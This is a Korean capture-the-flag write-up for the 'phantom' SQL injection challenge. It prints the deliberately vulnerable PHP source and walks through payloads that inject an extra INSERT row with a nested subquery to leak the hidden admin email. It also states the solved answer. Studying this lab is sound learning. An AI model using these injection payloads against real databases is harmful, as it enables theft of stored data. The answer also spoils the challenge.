<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
1.
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
🔹 $_GET[joinmail]
파라미터 필터링
❌ duplicate
, /i (대소문자를 구분하지 않음)
⭐ duplicate
중복된 요소
를 확인하여 동일한 행이 이미 존재할 경우 해당 행을 True로 반환한다.
insert 문
은 관계형 데이터베이스의 테이블에 새로운 데이터를 추가(저장)할 때 사용하는 명령어다.
INSERT INTO 테이블명 (컬럼1, 컬럼2,...) VALUES (데이터1, 데이터2,...)
이 문제에선 아래와 같이 적용된다.
INSERT INTO [테이블명] prob_phantom VALUSE [데이터...] 0, {$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}
여기서, $_SERVER[REMOTE_ADDR]
은 클라이언트의 IP주소를 가져온다.
데이터베이스와 쿼리문이 mysqli_query($db,$query)
에 들어가 저장된다.
Insert문
을 통해 phantom에서 서버와 이메일을 입력하는 것을 알 수 있다.
2.
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
두번째 쿼리문을 통해 no=1
이거나 ip=접속한 ip
를 조회 후 레코드를 표로 출력하고 no=1
인 경우 $result[email]
이 필터링되어 출력되는 것을 알 수 있다.
3
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
⭐ addslashes(string str)
매개변수로 넘겨준 문자열 안에 작은 따옴표(')
, 큰 따옴표(")
, 백슬래시(\)
, NULL
가 포함되어 있다면 해당 문자 앞에 백슬래시(\)
를 추가 해주는 함수
if문
을 보면 $result[email] = $_GET[email] 과 같다고 하지만, 만약 no값 1이 아니면 데이터를 삭제한다는 Delete문
이 들어가있다.
그렇다면, no=1
의 email
을 알아야한다.
위와 같이 no=1
인 ip(127.0.0.1)이 들어가있는 이메일 값을 볼 수 있다.
joinmail=1'),(0,'{본인 IP}','1
어떻게 출력되는지 확인하기 위해 test와 1을 넣어 확인해보았다.
joinmail=1'),(0,'{본인IP}',(select email from (select email from prob_phantom where no=1) as admin))#'
Insert문
의 취약점은 value가 여러개가 들어갈 수 있기 때문에 이를 이용하여 여러가지 value를 넣고 시도할 수 있다.
INSERT
, DELETE
등 가져올 테이블과 같은 테이블에서 서브쿼리로 불러올 때 에러가 발생하기때문에 같은 테이블에서 서브쿼리를 사용할 때 (select email from (select email from prob_phantom where no=1) as admin)
으로 서브쿼리를 한번 감싸줘서 값을 불러와야 에러가 발생하지 않는다.
admin email = admin_secure_email@rubiya.kr
인 것을 발견했다.
email=admin_secure_email@rubiya.kr
점점 갈 수록 어려워진다. SQL에 대해 시간날 때 공부를 집중적으로 해야될 것 같다.
풀면서도 이게 맞는건가 싶기도했지만, 이해하면서 천천히 풀어보니 문제 유형에 대해 파악할 수 있었던 것 같다. 그래도 아직 많이 부족해서 나중에 복습이 필요할 것 같다.